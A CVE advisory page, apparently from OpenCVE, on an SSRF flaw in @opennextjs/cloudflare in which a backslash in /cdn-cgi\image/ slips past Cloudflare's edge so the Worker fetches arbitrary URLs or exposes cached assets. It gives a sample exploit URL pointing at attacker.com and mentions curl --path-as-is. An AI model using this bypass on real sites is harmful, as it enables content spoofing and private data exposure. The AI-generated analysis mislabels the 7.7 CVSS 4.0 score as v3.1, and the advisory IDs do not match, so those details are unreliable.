CVE-2026-3125

SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass

Published Mar 4, 2026 CVSS 4.0 · 7.7 High EPSS < 1% KEV · Not listed

Description

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example:

https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Analysis

Technical impact

A Server‑Side Request Forgery flaw exists in the @opennextjs/cloudflare adapter for Cloudflare Workers. By replacing the forward slash in the /cdn‑cgi/image/ path with a backslash, the Cloudflare edge layer bypasses its request filtering and the backslash is normalized by JavaScript’s URL class, enabling an attacker to trigger an unvalidated fetch of any remote URL. The retrieved content is then served through the victim’s domain, breaking the same‑origin policy and potentially allowing malicious payloads or sensitive data to be displayed or further accessed by downstream services. The same bypass also exposes previously protected assets under /cdn‑cgi/ paths, such as the cached data stored under /cdn‑cgi/_next_cache in Open Next projects.

Affected Systems

Installed versions of the @opennextjs/cloudflare Node.js package are vulnerable; it is inferred that any deployment using a version older than the patched release 1.17.1 is affected. The flaw also impacts Cloudflare Workers, Pages, and Assets environments that expose /cdn‑cgi/ paths, including the cache stored under /cdn‑cgi/_next_cache in Open Next projects.

Risk and Exploitability

The flaw carries a CVSS v3.1 score of 7.7, marking it as high severity. The EPSS probability is less than 1%, indicating a low likelihood of exploitation. The vulnerability is not listed in CISA’s KEV catalog. Attackers can exploit the bypass using HTTP clients that preserve backslashes, such as curl with the --path-as-is option; this limits the vector to non-browser clients but still permits automated or scripted attacks that could exfiltrate data or serve malicious content through the victim’s domain.

Affected Products

Default status is the baseline for the product, each version can override it (e.g. patched versions marked unaffected).

Vendor Product Default status Versions

opennextjs

@opennextjs/cloudflare

unaffected

Version	Status	Constraints
`0`	affected	< 1.17.1

Configuration 1 [-]

cpe:2.3:a:opennextjs:opennext_for_cloudflare:*:*:*:*:*:node.js:*:*

No data.

Vendor Product Versions

Opennextjs

Opennext For Cloudflare

Version	Status	Scheme	Platform
`[0,1.17.1)`	affected	generic	['cloudflare_workers']

Remediation

Vendor Solution

Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.

OpenCVE Recommended Actions

Update the @opennextjs/cloudflare adapter to version 1.17.1 or later, which includes the root‑cause fix that prevents the backslash normalization bypass.
Deploy Cloudflare’s platform update that blocks backslash path normalization bypasses for /cdn‑cgi requests, ensuring all existing and future sites on Cloudflare Workers are protected.
Remove or disable any development‑only /cdn‑cgi/* handlers from production deployments, or implement strict whitelist checks on remote URLs before fetching to mitigate SSRF.

Generated by OpenCVE AI on April 18, 2026 at 10:00 UTC.

Tracking

Advisories

Source	ID	Title
Github GHSA	GHSA-c7mq-gh6q-6q7c	opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass

Metrics

Attack Vector Network

Attack Complexity Low

Privileges Required None

Attack Requirements None

User Interaction None

Vulnerable System Confidentiality Impact Low

Vulnerable System Integrity Impact Low

Vulnerable System Availability Impact None

Subsequent System Confidentiality Impact High

Subsequent System Integrity Impact None

Subsequent System Availability Impact None

Attack Vector Network

Attack Complexity Low

Privileges Required None

Scope Unchanged

Confidentiality Impact Low

Integrity Impact Low

Availability Impact None

User Interaction None

No CVSS v3.0

No CVSS v2

This CVE is not in the KEV list.

Exploit prediction score: < 1% (0.400% probability within 30 days)

Exploitation none

Automatable yes

Technical Impact partial

References

Link	Providers
https://github.com/advisories/GHSA-rvpw-p7vw-wj3m
https://github.com/opennextjs/opennextjs-cloudflare/pull/1147
https://www.cve.org/cverecord?id=CVE-2025-6087
https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1

History

Mar 9, 2026 6:00 PM Affected versions updated. Scoring metrics updated View changes

Type	Values Removed	Values Added
CPEs		cpe:2.3:a:opennextjs:opennext_for_cloudflare::::::node.js::*
Metrics		cvssV3_1 `{'score': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N'}`

Mar 5, 2026 9:15 AM First appearance in the feed. Affected vendors updated View changes

Type	Values Removed	Values Added
First Time appeared		Opennextjs Opennextjs opennext For Cloudflare
Vendors & Products		Opennextjs Opennextjs opennext For Cloudflare

Mar 4, 2026 7:15 PM Scoring metrics updated View changes

Type	Values Removed	Values Added
Metrics		ssvc `{'options': {'Automatable': 'yes', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}`

Mar 4, 2026 6:30 PM Description updated. Title updated. Weaknesses updated. Added references. Scoring metrics updated View changes

Type	Values Removed	Values Added
Description		A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs. For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services. Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests. Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.
Title		SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass
Weaknesses		CWE-706 CWE-918
References		https://github.com/advisories/GHSA-rvpw-p7vw-wj3m https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 https://www.cve.org/cverecord?id=CVE-2025-6087 https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1
Metrics		cvssV4_0 `{'score': 7.7, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N'}`